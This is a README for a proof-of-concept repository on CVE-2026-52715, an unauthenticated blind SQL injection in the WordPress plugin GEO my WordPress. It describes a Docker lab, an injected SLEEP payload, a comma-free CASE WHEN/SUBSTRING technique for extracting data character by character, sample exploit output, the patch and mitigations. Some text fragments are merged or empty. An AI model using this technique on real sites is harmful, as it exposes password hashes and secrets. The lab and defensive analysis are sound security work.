
CVE-2026-52715 (GeoLeak) का कार्यशील PoC: swlatlng/nelatlng के माध्यम से GEO my WordPress <= 4.5.5 में बिना प्रमाणीकरण वाला SQLi। Docker लैब + time-based/boolean-based exploit + payload में अल्पविराम के बिना exfiltration।
GeoLeak (CVE-2026-52715) की शैक्षिक Proof of Concept, WordPress के लिए GEO my WordPress <= 4.5.5 प्लगइन में अनधिकृत SQL इंजेक्शन (CVSS 9.3)। मानचित्र सीमाओं के
swlatlngऔरnelatlngपैरामीटर WHERE क्लॉज में बिना सैनिटाइज़ किए इंटरपोलेट होते हैं। स्व-निहित Docker लैब + time-based और boolean-based तकनीकों तथा कैरेक्टर-दर-कैरेक्टर एक्सफ़िल्ट्रेशन वाला एक्सप्लॉइट।
CVE-2026-52715 GEO my WordPress प्लगइन के gmw_get_locations_within_boundaries_sql() फ़ंक्शन में एक SQL इंजेक्शन (CWE-89) है, जो सभी <= 4.5.5 संस्करणों को प्रभावित करता है और 4.5.5.1 (15 जून 2026) से पैच किया गया है। इसे शोधकर्ता alvarodh5 ने खोजा और Patchstack के माध्यम से प्रकाशित किया गया।
GeoLeak नामक श्रृंखला दर्शाती है कि केवल [gmw] शॉर्टकोड वाले किसी भी सार्वजनिक पेज तक रीड एक्सेस से शुरू करके, एक हमलावर निम्न कार्य कर सकता है:
swlatlng (या nelatlng) पैरामीटर के माध्यम से मनमाना SQL इंजेक्ट करना।wp_gmw_locations के विरुद्ध INNER JOIN की प्रत्येक पंक्ति पर मूल्यांकित SLEEP() (time-based blind) के साथ मापने योग्य विलंब उत्पन्न करना।"total_results":N ओरेकल का उपयोग करना।CASE WHEN और SUBSTRING(x FROM n FOR 1) के माध्यम से, पेलोड में अल्पविराम नहीं हो सकने की बाधा (PHP explode(',', ...) के साथ मान को विभाजित करता है) को दरकिनार करते हुए पूरे डेटाबेस को कैरेक्टर-दर-कैरेक्टर एक्सफ़िल्ट्रेट करना।परिणाम WordPress डेटाबेस की मनमानी रीडिंग है: wp_users तालिका (पासवर्ड हैश), कॉन्फ़िगरेशन विकल्प, कुंजियाँ और प्लगइन्स में संग्रहीत तृतीय-पक्ष डेटा।
PoC में केवल GET अनुरोधों के साथ MariaDB के VERSION() का पूर्ण निष्कर्षण सत्यापित किया जाता है।
इस रिपॉज़िटरी में पूर्णतः शैक्षिक और रक्षात्मक सामग्री है।
┌─────────────────────────────────────────────────────────────────────┐
│ 1. Peticion publica sin autenticar │
│ GET /?page_id=5&form=1&action=fs&swlatlng=<payload>&nelatlng=… │
│ pagina publica con shortcode [gmw form="1"] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. GMW_Form::set_default_values() │
│ action=fs => formulario marcado como enviado │
│ get_form_values() toma $_SERVER['QUERY_STRING'] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. gmw_get_form_values() (gmw-functions.php:512) │
│ parse_str($query_string, $output) sin lista de permitidos │
│ $output['swlatlng'] llega intacto │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. parse_query_args() (class-gmw-form-core.php:794) │
│ gmw_swlatlng / gmw_nelatlng copiados a los argumentos de busqueda│
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. gmw_get_locations_within_boundaries_sql() (gmw-functions:669) │
│ $sw = explode(',', $southwest); │
│ "AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} )" │
│ interpolacion directa: sin prepare, sin validacion │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. WP_Query -> $wpdb->get_results() │
│ SQL: ... AND ( gmw_locations.latitude BETWEEN │
│ 1 AND SLEEP(5) AND 40.416775 AND 41 ) ... │
│ respuesta retardada 5s / total_results = oraculo │
└─────────────────────────────────────────────────────────────────────┘
curl और awkdocker-compose.yml में मैपिंग बदलें)POC-GeoLeak-CVE-2026-52715/
├── docker-compose.yml WordPress 6.8 (PHP 8.2) + MariaDB 11
├── docker/
│ ├── Dockerfile Imagen WP + WP-CLI + entrypoint del laboratorio
│ ├── lab-entrypoint.sh Arranque + siembra automatica en el primer boot
│ ├── seed.sh Instalacion WP, formulario, post geolocalizado
│ └── geo-my-wp/ Plugin GEO my WordPress 4.5.5 (codigo vulnerable)
├── poc/
│ └── poc.sh Exploit: time-based + boolean-based + exfiltracion
├── docs/
│ ├── analisis-tecnico.md Cadena completa request -> SQL, con codigo
│ └── diff-parche-4.5.5.1-gmw-functions.php.diff Parche oficial real
├── LICENSE
└── README.md
# 1. Levantar el laboratorio (primer arranque: 60-90 s)
docker compose up -d --build
# 2. Comprobar que la siembra termino
docker compose logs wordpress | grep lab-entrypoint
# [lab-entrypoint] laboratorio listo
# 3. Ejecutar la PoC
./poc/poc.sh
# 4. Destruir el laboratorio
docker compose down -v
एक्सप्लॉइट के कॉन्फ़िगर करने योग्य पैरामीटर:
TARGET=http://localhost:3080 PAGE_ID=5 FORM_ID=1 SLEEP=5 ./poc/poc.sh
WordPress एक्सेस: admin/admin के साथ http://localhost:3080। कमजोर फ़ॉर्म वाला पेज http://localhost:3080/?page_id=5 है।
नोट:
wp_gmw_locationsमें सीड पंक्ति अनिवार्य है। क्वेरी उस तालिका के विरुद्ध INNER JOIN का उपयोग करती है: पंक्तियों के बिना इंजेक्ट किया गया WHERE मूल्यांकित नहीं होता औरSLEEP()कोई विलंब उत्पन्न नहीं करता।
लैब के विरुद्ध अंतिम निष्पादन का वास्तविक आउटपुट (14 अगस्त 2026):
$ ./poc/poc.sh
===================================================
CVE-2026-52715 | GEO my WordPress <= 4.5.5
SQLi no autenticada via swlatlng/nelatlng
Objetivo: http://localhost:3080
===================================================
[*] Prueba time-based (SLEEP 5s)...
Peticion benigna : 0.037000s
Payload SLEEP : 5.034984s
[+] VULNERABLE: retardo de 5.034984s confirma la inyeccion SQL
[*] Prueba boolean-based (oraculo total_results)...
Condicion TRUE -> total_results=1
Condicion FALSE -> total_results=0
[+] VULNERABLE: el numero de resultados depende de la condicion inyectada
[*] Extraccion de VERSION() caracter a caracter...
[+] VERSION() = 11.8.8-MariaDB-ubu2404
[*] PoC completado
डेटाबेस के विरुद्ध सीधे क्रॉस-सत्यापन:
$ docker exec cve-2026-52715-db mariadb -u wordpress -pwordpress wordpress \
-N -e "SELECT VERSION();"
11.8.8-MariaDB-ubu2404
पैच किए गए संस्करण (>= 4.5.5.1) के विरुद्ध, time-based चरण मिलीसेकंड में प्रतिक्रिया करता है और PoC [-] No se detecto retardo (objetivo posiblemente parcheado >= 4.5.5.1) के साथ समाप्त होता है।
पूर्ण विवरण, कोड स्निपेट्स और सटीक पंक्तियों सहित, docs/analisis-tecnico.md में। मुख्य बिंदु:
gmw_get_locations_within_boundaries_sql() {$sw[0]}, {$sw[1]}, {$ne[0]}, {$ne[1]} को सीधे WHERE में इंटरपोलेट करता है (चारों बिंदु इंजेक्ट करने योग्य हैं)।gmw_get_form_values() बिना अनुमत सूची के parse_str() के साथ पूरे query string को संसाधित करता है।explode(',', $southwest) करता है। PoC IF(a,b,c) के बजाय CASE WHEN a THEN b ELSE c END और SUBSTRING(x,n,1) के बजाय SUBSTRING(x FROM n FOR 1) का उपयोग करता है।"total_results":N उजागर करता है; एक्सप्लॉइट लंबाई सीमा () को कैलिब्रेट करता है ताकि स्थिति सत्य होने पर सीड पंक्ति बची रहे।पूर्ण वास्तविक Diff docs/diff-parche-4.5.5.1-gmw-functions.php.diff में। 4.5.5 और 4.5.5.1 के बीच केवल तीन फ़ाइलें भिन्न हैं (संस्करण के लिए geo-my-wp.php, चेंजलॉग के लिए readme.txt और includes/gmw-functions.php):
gmw_parse_latlng_boundary(): |lat| <= 90 और |lng| <= 180 के साथ बिल्कुल 2 परिमित संख्यात्मक भागों की आवश्यकता होती है।gmw_get_form_values() unset() के साथ उन मानों को हटा देता है जो वैलिडेट नहीं होते।$wpdb->prepare() और %f मार्करों के साथ पुनः लिखा जाता है।प्लगइन का वर्तमान संस्करण: 4.5.5.3 (जुलाई 2026), पैच किया हुआ।
swlatlng/nelatlng में गैर-संख्यात्मक मानों को ब्लॉक करे, या वर्चुअल पैचिंग (Patchstack और इसी तरह के)।[gmw] फ़ॉर्म्स को मानचित्र सीमाओं द्वारा खोज की आवश्यकता है।swlatlng/nelatlng पैटर्न वाले एक्सेस की निगरानी करें।wp_users हैश पर पुनर्विचार करें, इंजेक्शन उन्हें पढ़ने की अनुमति देता है।-10..1wp_posts.* के कॉलम्स के साथ gmw फ़ील्ड्स को संरेखित करना आवश्यक है); error-based व्यावहारिक नहीं (wpdb त्रुटियों को दबा देता है)।wp_ajax_nopriv_* हैंडलर या तो SQL निष्पादित नहीं करते (मुफ्त संस्करण), या नॉन्स द्वारा सुरक्षित हैं। मुफ्त संस्करण में CVE का वेक्टर फ़ॉर्म का GET है।